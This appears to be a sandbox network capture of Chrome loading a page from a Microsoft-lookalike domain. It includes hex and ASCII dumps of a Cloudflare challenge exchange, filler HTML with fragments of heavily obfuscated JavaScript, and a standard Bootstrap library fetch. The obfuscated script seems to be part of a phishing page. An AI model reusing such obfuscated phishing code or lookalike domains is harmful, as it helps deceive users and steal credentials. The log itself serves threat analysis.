2025-01-14 14:24:03 UTC	966	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 71 6b 57 7a 68 38 59 47 65 31 68 7a 41 4a 59 2d 69 78 35 53 34 35 76 33 79 41 65 5f 7a 4f 31 5a 67 39 58 30 45 66 4e 52 56 30 66 59 68 6e 74 39 4d 4b 6b 6c 55 57 44 38 69 38 4f 6d 46 6c 42 48 76 45 73 33 38 47 59 51 34 50 39 47 53 6b 54 44 5a 6c 67 62 4e 4f 4d 61 79 65 71 41 51 73 73 54 58 35 57 47 55 77 72 7a 7a 77 4b 54 41 47 56 65 4d 4f 57 7a 5a 47 6c 62 4d 37 33 6c 34 35 36 6d 48 32 61 44 6a 42 5f 52 53 61 46 4b 36 55 47 6a 77 2d 5a 65 39 4b 5f 61 4a 62 77 4f 68 30 55 4a 6c 73 62 45 6e 6a 70 6a 58 34 69 32 68 4f 51 69 6a 36 6a 64 44 76 38 47 6c 70 70 71 36 6f 35 6d 58 56 62 71 4f 42 39 7a 67 38 4f 57 64 39 52 74 31 77 44 55 74 50 79 74 46 52 50 41 6e 43 4d 74 77 4a 70 4f 4a 37 61 Data Ascii: cf-turnstile-response=0.qkWzh8YGe1hzAJY-ix5S45v3yAe_zO1Zg9X0EfNRV0fYhnt9MKklUWD8i8OmFlBHvEs38GYQ4P9GSkTDZlgbNOMayeqAQssTX5WGUwrzzwKTAGVeMOWzZGlbM73l456mH2aDjB_RSaFK6UGjw-Ze9K_aJbwOh0UJlsbEnjpjX4i2hOQij6jdDv8Glppq6o5mXVbqOB9zg8OWd9Rt1wDUtPytFRPAnCMtwJpOJ7a
2025-01-14 14:24:04 UTC	992	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I11C9df1w2mEwPEgh9hRDUePHH3uVDc24MwvRe%2BJvAL0KexaKd7R5EEsOfX32OSKpOZ4yzc%2Fr6%2FXW7GY%2B%2FZssrrsyqeE46860yp2zMMr50ESvITEAmNnDOyA3E5m4Ohgpupt9aMT1VDtsBwv%2FEN2JS%2BG8rtkqyGkFbe0kBMGEyABIeBh2rg0s0ag9QeMOgc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901e4997fe00c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1473&min_rtt=1469&rtt_var=560&sent=7&recv=8&lost=0&retrans=0&sent_bytes=3049&recv_bytes=2681&delivery_rate=2904509&cwnd=182&unsent_bytes=0&cid=7e6176c9da6ae22b&ts=498&x=0"
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 33 30 38 36 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 4e 6f 73 74 72 75 64 20 65 73 74 20 62 65 65 66 20 72 69 62 73 20 65 6c 69 74 2e 20 54 6f 6e 67 75 65 20 69 6e 63 69 64 69 64 75 6e 74 20 69 6e 2c 20 68 61 6d 20 68 6f 63 6b 20 70 72 6f 69 64 65 6e 74 20 70 61 6e 63 65 74 74 61 20 73 69 6e 74 20 65 75 20 6d 61 67 6e 61 20 74 61 69 6c 20 70 6f 72 6b 20 6c 6f 69 6e 20 70 61 72 69 61 74 75 72 20 6c 61 62 6f 72 75 6d 20 6c 65 62 65 72 6b 61 73 2e 20 42 72 65 73 61 6f 6c 61 20 61 75 74 65 20 69 64 20 66 6c 61 6e 6b 20 66 61 74 62 61 63 6b 20 73 74 72 69 70 20 73 74 65 61 6b 20 63 6f 6e 73 65 71 75 61 74 20 70 69 67 20 62 72 69 73 6b 65 74 20 76 65 6e 69 61 6d 2e 20 49 6e 20 70 72 6f 69 64 65 6e 74 20 63 61 70 69 63 6f 6c 61 20 64 6f 6c 6f 72 65 20 6d 6f 6c 6c Data Ascii: 3086... <span>Nostrud est beef ribs elit. Tongue incididunt in, ham hock proident pancetta sint eu magna tail pork loin pariatur laborum leberkas. Bresaola aute id flank fatback strip steak consequat pig brisket veniam. In proident capicola dolore moll
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 65 67 65 72 20 70 6f 72 6b 20 63 68 6f 70 20 62 72 65 73 61 6f 6c 61 20 6b 69 65 6c 62 61 73 61 2c 20 62 65 65 66 20 72 69 62 73 20 6e 6f 6e 20 6d 69 6e 69 6d 20 73 65 64 20 64 6f 6c 6f 72 65 20 73 68 6f 72 74 20 72 69 62 73 20 61 6c 63 61 74 72 61 20 62 65 65 66 20 62 75 66 66 61 6c 6f 20 63 6f 77 2e 20 45 74 20 64 6f 20 63 75 6c 70 61 20 70 6f 72 63 68 65 74 74 61 2e 20 4c 61 62 6f 72 75 6d 20 73 61 75 73 61 67 65 20 76 6f 6c 75 70 74 61 74 65 20 69 6e 20 76 65 6c 69 74 2c 20 6d 61 67 6e 61 20 70 6f 72 63 68 65 74 74 61 2e 20 45 78 65 72 63 69 74 61 74 69 6f 6e 20 64 6f 6e 65 72 20 68 61 6d 20 68 6f 63 6b 20 72 75 6d 70 20 73 77 69 6e 65 20 6e 6f 6e 2c 20 69 6e 20 63 68 69 73 6c 69 63 20 65 78 20 63 61 70 69 63 6f 6c 61 2e 20 44 72 75 6d 73 74 69 63 6b Data Ascii: eger pork chop bresaola kielbasa, beef ribs non minim sed dolore short ribs alcatra beef buffalo cow. Et do culpa porchetta. Laborum sausage voluptate in velit, magna porchetta. Exercitation doner ham hock rump swine non, in chislic ex capicola. Drumstick
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 72 20 69 74 49 57 4f 7a 3b 4a 4e 6f 72 32 72 6b 2b 2b 3b 69 66 28 4a 4e 6f 72 32 72 6b 3d 3d 3d 30 78 31 29 7b 72 65 74 75 72 6e 5b 5d 7d 66 6f 72 28 69 74 49 57 4f 7a 3d 30 78 33 63 3b 69 74 49 57 4f 7a 3b 69 74 49 57 4f 7a 2d 2d 29 48 49 36 66 32 42 2e 75 6e 73 68 69 66 74 28 48 49 36 66 32 42 2e 70 6f 70 28 29 29 3b 72 65 74 75 72 6e 5b 5d 7d 29 28 29 29 3b 66 6f 72 28 66 7a 6e 43 77 6e 63 3d 66 7a 6e 43 77 6e 63 3b 66 7a 6e 43 77 6e 63 3b 66 7a 6e 43 77 6e 63 2d 2d 29 48 49 36 66 32 42 2e 75 6e 73 68 69 66 74 28 48 49 36 66 32 42 2e 70 6f 70 28 29 29 3b 72 65 74 75 72 6e 20 48 49 36 66 32 42 7d 2c 30 78 31 29 28 5b 27 53 6d 2f 40 79 6c 67 63 27 2c 27 49 51 69 34 5d 41 28 59 27 2c 27 45 30 64 4c 70 36 28 63 27 2c 27 6f 64 58 62 3e 66 25 70 60 67 5f 47 Data Ascii: r itIWOz;JNor2rk++;if(JNor2rk===0x1){return[]}for(itIWOz=0x3c;itIWOz;itIWOz--)HI6f2B.unshift(HI6f2B.pop());return[]})());for(fznCwnc=fznCwnc;fznCwnc;fznCwnc--)HI6f2B.unshift(HI6f2B.pop());return HI6f2B},0x1)(['Sm/@ylgc','IQi4]A(Y','E0dLp6(c','odXb>f%p`g_G
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 6d 68 3a 23 27 2c 27 21 39 2f 57 2f 47 6a 74 78 3b 4c 4f 61 3e 68 2c 59 30 6e 57 40 72 49 23 47 4d 5b 38 60 63 5b 52 61 3c 2e 40 2f 2e 3b 3a 57 27 2c 27 5a 38 22 71 77 47 69 70 3f 7d 26 40 56 2e 5e 7d 63 79 5a 68 21 58 7d 21 4c 3a 79 43 23 27 2c 27 2a 67 5f 40 35 72 6d 58 7d 3f 78 55 23 27 2c 27 2e 3f 57 33 66 7a 68 24 7d 6b 5d 43 24 59 27 2c 27 23 57 22 4c 6a 53 62 7a 30 67 7b 6e 3e 47 2c 7b 4b 61 79 4c 2e 73 2f 23 57 3f 50 42 23 27 2c 27 5b 6e 35 26 44 40 4d 24 66 42 3b 22 2f 3e 71 58 71 67 41 74 40 39 28 24 75 64 27 2c 27 33 73 59 39 7e 2a 40 6d 64 64 53 47 6e 2e 5b 7d 6c 3b 56 49 44 6e 68 22 67 3f 6c 6c 23 27 2c 27 51 6b 2f 76 25 54 4f 21 21 67 39 5b 6d 69 3e 6d 66 3d 73 5e 52 4e 5d 64 61 67 64 70 23 27 2c 27 54 2a 51 68 59 3d 76 26 51 3f 3c 6e 70 42 Data Ascii: mh:#','!9/W/Gjtx;LOa>h,Y0nW@rI#GM[8`c[Ra<.@/.;:W','Z8"qwGip?}&@V.^}cyZh!X}!L:yC#','g_@5rmX}?xU#','.?W3fzh$}k]C$Y','#W"LjSbz0g{n>G,{KayL.s/#W?PB#','[n5&D@M$fB;"/>qXqgAt@9($ud','3sY9~@mddSGn.[}l;VIDnh"g?ll#','Qk/v%TO!!g9[mi>mf=s^RN]dagdp#','T*QhY=v&Q?<npB
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 42 47 57 27 2c 27 30 2a 68 5d 62 39 6b 22 73 6b 43 49 5b 43 2b 52 33 73 37 72 25 72 41 27 2c 27 55 4c 2e 78 44 40 6f 24 3c 44 7d 69 53 52 76 22 5a 34 5e 4c 55 4f 75 5f 4f 62 63 5d 57 44 4b 75 4d 3d 65 71 6d 2b 41 27 2c 27 69 38 48 57 3e 5d 32 62 36 34 72 27 2c 27 7b 26 73 69 26 5f 77 7d 7c 67 51 73 5d 69 4e 45 74 23 27 2c 27 30 71 34 4c 5a 48 46 47 68 33 53 40 3e 47 4b 7e 55 44 2c 7a 79 31 39 39 69 67 2b 4f 77 57 2a 50 51 53 70 36 29 28 41 27 2c 27 48 32 55 4c 50 7a 43 7a 63 62 3e 75 55 56 42 27 2c 27 23 2b 47 21 57 69 77 2b 59 27 2c 27 6a 38 4d 3f 52 76 31 5f 2b 4d 7b 47 3d 44 51 2f 45 2a 72 40 75 2e 47 21 3d 22 6a 39 46 73 42 27 2c 27 36 7d 34 36 79 37 68 5f 2a 70 5e 47 52 35 28 45 5f 48 5e 71 30 76 58 22 56 61 33 49 28 6c 6e 71 69 41 27 2c 27 72 6e 32 Data Ascii: BGW','0h]b9k"skCI[C+R3s7r%rA','UL.xD@o$<D}iSRv"Z4^LUOu_Obc]WDKuM=eqm+A','i8HW>]2b64r','{&si&_w}\|gQs]iNEt#','0q4LZHFGh3S@>GK~UD,zy199ig+OwWPQSp6)(A','H2ULPzCzcb>uUVB','#+G!Wiw+Y','j8M?Rv1_+M{G=DQ/Er@u.G!="j9FsB','6}46y7h_p^GR5(E_H^q0vX"Va3I(lnqiA','rn2
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 61 4b 37 5f 46 7b 50 31 64 41 2a 73 35 3b 50 4a 7b 35 24 79 45 71 7e 29 6b 7d 6e 67 48 23 2a 50 6d 29 2c 77 48 32 50 2c 22 45 27 2c 27 67 5f 4f 73 34 72 44 64 24 3a 76 71 73 6f 2f 2b 45 6e 7c 40 3c 73 37 23 57 79 68 70 52 57 65 2e 45 26 37 33 27 2c 27 52 6d 5b 59 6e 36 6a 5f 57 27 2c 27 47 76 67 36 32 72 52 47 67 4d 5b 25 62 3d 21 22 4c 6f 2c 3f 27 2c 27 5b 55 64 71 66 28 59 21 3f 6e 37 25 7e 52 68 2c 7d 4c 4d 3f 27 2c 27 4c 26 23 4c 6d 32 31 5f 3c 79 6e 38 23 27 2c 27 60 61 71 2c 33 40 49 4f 7d 3f 65 27 2c 27 76 26 3a 3f 59 37 46 2f 6a 3a 32 25 3a 6c 51 22 68 2b 40 71 61 45 7d 52 52 6e 61 34 2c 2e 48 2e 7a 41 27 2c 27 25 6e 49 59 78 48 39 6d 25 44 7a 50 29 3d 23 2a 7c 76 35 6a 5b 5f 79 4e 73 62 2e 27 2c 27 6a 3b 76 26 34 60 3a 26 79 3b 6c 6c 7c 60 3b 2a Data Ascii: aK7_F{P1dAs5;PJ{5$yEq~)k}ngH#Pm),wH2P,"E','g_Os4rDd$:vqso/+En\|@<s7#WyhpRWe.E&73','Rm[Yn6j_W','Gvg62rRGgM[%b=!"Lo,?','[Udqf(Y!?n7%~Rh,}LM?','L&#Lm21_<yn8#','`aq,3@IO}?e','v&:?Y7F/j:2%:lQ"h+@qaE}RRna4,.H.zA','%nIYxH9m%DzP)=#\|v5j[_yNsb.','j;v&4`:&y;ll\|`;
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 53 35 3b 24 3b 78 66 21 60 79 3a 26 61 43 56 47 43 2e 3c 22 7c 3d 31 56 63 58 4b 6d 59 42 44 2a 68 44 2c 58 38 32 6f 39 3e 47 71 2b 53 29 76 34 50 55 72 3c 3e 2c 61 4c 62 28 26 2b 71 6e 73 2c 37 35 74 52 4d 6e 2c 40 3e 79 3b 42 3d 22 2f 6e 64 2e 5e 2f 60 74 3d 73 4a 5d 66 25 22 6f 75 42 3a 6c 65 45 6f 2a 6b 72 73 32 2e 50 43 3a 67 69 28 3e 50 3c 4a 53 21 6b 22 28 35 7a 78 6e 2c 43 46 50 71 71 35 6b 3c 49 52 7a 30 64 75 4d 71 72 79 6f 2b 24 32 3f 79 6b 5e 6a 5d 7e 2b 6b 43 2a 2b 56 65 45 73 3f 49 59 64 47 60 47 7b 67 68 70 35 61 58 2c 55 6f 31 2c 31 40 59 47 54 44 67 2c 37 35 74 52 63 6f 21 40 4b 5d 3e 7a 58 64 5e 6e 4f 56 6e 50 31 74 48 78 74 54 4b 6d 44 44 3e 73 30 70 24 58 26 2a 7d 74 51 6e 43 58 3a 3a 4d 25 46 58 7e 2c 68 71 60 36 31 40 70 70 60 62 64 Data Ascii: S5;$;xf!`y:&aCVGC.<"\|=1VcXKmYBDhD,X82o9>Gq+S)v4PUr<>,aLb(&+qns,75tRMn,@>y;B="/nd.^/`t=sJ]f%"ouB:leEokrs2.PC:gi(>P<JS!k"(5zxn,CFPqq5k<IRz0duMqryo+$2?yk^j]~+kC+VeEs?IYdG`G{ghp5aX,Uo1,1@YGTDg,75tRco!@K]>zXd^nOVnP1tHxtTKmDD>s0p$X&}tQnCX::M%FX~,hq`61@pp`bd
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 2b 4e 7e 64 6b 5e 42 28 52 4c 7d 79 26 5f 3f 38 6c 51 62 53 37 40 4c 4e 2e 49 52 73 3c 66 2c 62 28 70 5f 3b 44 7e 25 58 35 74 52 50 6f 4f 7a 68 40 5a 21 5d 44 3c 47 49 48 79 78 5e 5f 2e 78 7c 77 26 7e 5d 79 42 2f 25 44 25 6d 3f 79 33 69 7b 38 33 7a 28 64 36 4c 36 58 52 78 24 30 7b 5e 7a 70 26 2f 60 62 42 4f 75 59 68 2e 7c 53 45 74 38 5f 51 70 24 29 51 36 57 60 73 5e 6c 74 38 3f 45 76 28 22 61 34 41 4e 3a 6c 2b 2a 58 48 2c 78 7b 6c 51 62 53 29 76 34 50 55 4a 3c 5d 74 32 33 64 28 3e 5f 62 6e 30 55 67 5e 3b 7d 2c 3c 75 2c 4d 5f 4a 7a 3d 44 25 5b 45 56 33 67 6b 48 24 7a 75 6a 2c 7e 5f 37 69 73 64 63 70 7e 30 6d 46 39 22 47 22 7a 51 64 64 70 46 58 7e 2c 68 71 60 36 79 36 58 50 31 79 52 6e 44 28 63 2a 4c 74 43 40 42 40 42 52 5d 44 7c 36 4b 54 31 78 31 74 48 78 Data Ascii: +N~dk^B(RL}y&_?8lQbS7@LN.IRs<f,b(p_;D~%X5tRPoOzh@Z!]D<GIHyx^_.x\|w&~]yB/%D%m?y3i{83z(d6L6XRx$0{^zp&/`bBOuYh.\|SEt8_Qp$)Q6W`s^lt8?Ev("a4AN:l+XH,x{lQbS)v4PUJ<]t23d(>_bn0Ug^;},<u,M_Jz=D%[EV3gkH$zuj,~_7isdcp~0mF9"G"zQddpFX~,hq`6y6XP1yRnD(cLtC@B@BR]D\|6KT1x1tHx
2025-01-14 14:24:04 UTC	1369	IN	Data Raw: 24 2b 5d 74 63 4c 64 28 3d 7a 51 44 44 6e 3c 42 74 2c 60 53 6f 37 4d 58 42 64 26 79 65 25 3d 44 3c 2f 54 74 45 57 37 3e 38 5f 61 34 76 73 47 50 6f 7b 6e 3b 24 57 61 26 36 79 57 64 2b 33 47 57 5b 52 6a 61 3c 36 45 2b 5b 7e 3e 6f 5d 6e 31 2b 3b 7d 45 6e 7b 49 6b 5f 72 42 2c 29 6d 61 31 55 24 2f 26 48 31 56 55 54 40 22 64 6b 5f 2c 6e 52 65 45 4c 32 29 21 77 47 51 62 65 68 4f 6c 36 47 78 2b 55 6f 68 6b 22 28 46 71 60 6f 3e 5b 68 5e 3b 24 6a 3c 75 2c 5a 60 4e 42 28 62 59 70 21 2e 68 56 44 74 2c 7a 62 40 72 7e 47 42 49 73 6e 52 68 2e 38 32 7c 76 7a 3a 6e 70 24 22 40 3a 3c 46 78 2b 3f 71 2f 73 62 6e 4b 6d 30 7d 73 38 68 5e 7b 2e 51 6b 7b 49 70 5f 7d 52 6a 68 42 49 51 2a 71 2f 6a 6c 46 21 35 54 4b 6d 74 70 29 2a 58 48 46 58 3b 26 26 33 79 26 49 79 2c 3a 39 6c 6c Data Ascii: $+]tcLd(=zQDDn<Bt,`So7MXBd&ye%=D</TtEW7>8_a4vsGPo{n;$Wa&6yWd+3GW[Rja<6E+[~>o]n1+;}En{Ik_rB,)ma1U$/&H1VUT@"dk_,nReEL2)!wGQbehOl6Gx+Uohk"(Fq`o>[h^;$j<u,Z`NB(bYp!.hVDt,zb@r~GBIsnRh.82\|vz:np$"@:<Fx+?q/sbnKm0}s8h^{.Qk{Ip_}RjhBIQq/jlF!5TKmtp)XHFX;&&3y&Iy,:9ll

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49754	104.18.11.207	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:04 UTC	765	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:05 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:04 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 9ffd661f947d152d192d0b7ca0e62ff6 CDN-Cache: HIT CF-Cache-Status: HIT Age: 4315 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901e499f1ed55e65-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:24:05 UTC	405	IN	Data Raw: 37 62 65 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bef/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 Data Ascii: e(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineP
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d Data Ascii: nction(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElem
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 Data Ascii: =o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destr
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 Data Ascii: (s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.s
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 Data Ascii: useenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-p
